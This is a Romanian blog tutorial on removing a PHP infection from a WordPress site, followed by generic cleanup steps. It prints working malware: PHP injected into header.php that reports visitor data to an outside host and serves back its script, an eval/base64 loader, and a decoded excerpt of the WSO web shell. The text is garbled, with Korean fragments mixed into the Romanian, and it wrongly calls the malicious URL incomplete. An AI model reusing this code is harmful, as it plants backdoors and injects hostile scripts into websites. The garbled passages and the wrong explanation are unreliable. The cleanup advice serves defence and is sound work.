Acest tutorial prezintă un caz particular în care un blog WordPress a fost virusat. Remove WordPress PHP Virus.
콘텐츠
Zilele trecute am observat un cod suspect ce pare a fi un virus PHP pentru WordPress. Următorul cod PHP era prezent în header.php, înaintea liniei </head>.
<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>
Acesta este un cod PHP care, după cum arată, încearcă să recupereze conținutul unei resurse de pe un server extern, dar partea care se referă la adresa URL este incompletă.
Mecanismul de funcționare este ceva mai complex și face acest WordPress PHP Virus invizibil pentru vizitatorii site-urilor afectate. În schimb, acesta vizează motoarele de căutare (Google) și duce implicit la scăderea semnificativă a numărului de vizitatori pe website-urile afectate.
Detalii ale malware WordPress PHP Virus
1. Codul de mai sus este prezent în header.php.
2. Pe server a apărut un fișier wp-log.php în folderul wp-includes.
3. wp-log.php conține un cod criptat, dar care este relativ ușor de decriptat.
<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>
Decriptare cod malware din wp-log.php :
<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("
<pre align=center-->
<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>
Acesta pare a fi un script PHP malware care conține cod pentru a gestiona autentificarea și acțiuni asupra fișierelor și directoarelor pe un server. Se poate observa foarte ușor că acest script conține variabile precum $auth_pass (parola de autentificare), $default_action (acțiunea implicită), $default_use_ajax (folosirea implicită a Ajax) și $default_charset (setarea implicită a caracterelor).
În mod evident, acest script are o secțiune care verifică agenții de utilizatori HTTP pentru a bloca accesul anumitor roboți web, cum ar fi motoarele de căutare. De asemenea, are și o secțiune care verifică modul de securitate PHP și setează anumite directoare de lucru.
4. Dacă wp-log.php este accesat în browser, apare o pagină web cu un câmp de 입증. La prima vedere pare a fi un file manager prin care pot fi urcate ușor noi fișiere pe serverul țintă.
Cum devirusezi un website WordPress?
Întotdeauna, procesul de devirusare manuală presupune să descoperi și să înțelegi în primul rând, care a fost vulnerabilitatea.
1. Genereaza un un backup pentru întregul website. Acesta trebuie să includă atât fișierele cât și baza de date.
2. Determină cu aproximație de cât timp a apărut virusul și caută pe serverul web fișierele modificate sau noi create în intervalul de timp aproximat.
De exemplu, dacă vrei să vezi fișierele .php create sau modificate în ultima săptămănă, execută în server comanda:
find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"
Este o metodă simplă prin care poți să decoperi fișierele WordPress virusate și pe cele care conțin codul malware.
3. Verificați fișierul .htaccess de directive suspecte. Linii de permisiuni sau de executare script.
4. Verificați baza de date. Este foarte posibil ca unele postări și pagini WordPress să fi fost editate cu coduri malware sau să fie adăugați noi utilizatori cu rol de administrator.
5. Verificați permisiunile de scriere pentru foldere și pentru fisiere. chmod 그리고 chown.
Permisiunile recomandate sunt: 644 pentru fișiere și 755 pentru directoare.
find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;
6. Actualizați toate WordPress Plugins / WordPress Themes.
관련: WordPress Hack 2023 (바이러스 리디렉션) 수정 수정
Acestea sunt metode “기초적인” prin care poți să devirusezi un website / blog WordPress. Dacă întâmpini probleme și ai nevoie de ajutor, rubrica de comentarii este deschisă.
WordPress PHP 바이러스를 제거하십시오
에 대한 Stealth
기술에 열정을 가진 저는 2006년부터 StealthSettings.com에 즐겁게 글을 쓰고 있습니다. 저는 macOS, Windows, Linux 운영 체제뿐만 아니라 프로그래밍 언어와 블로그 플랫폼(WordPress), 온라인 상점(WooCommerce, Magento, PrestaShop)에서도 풍부한 경험을 가지고 있습니다.
Stealth의 모든 게시물 보기당신은 또한에 관심이있을 수 있습니다 ...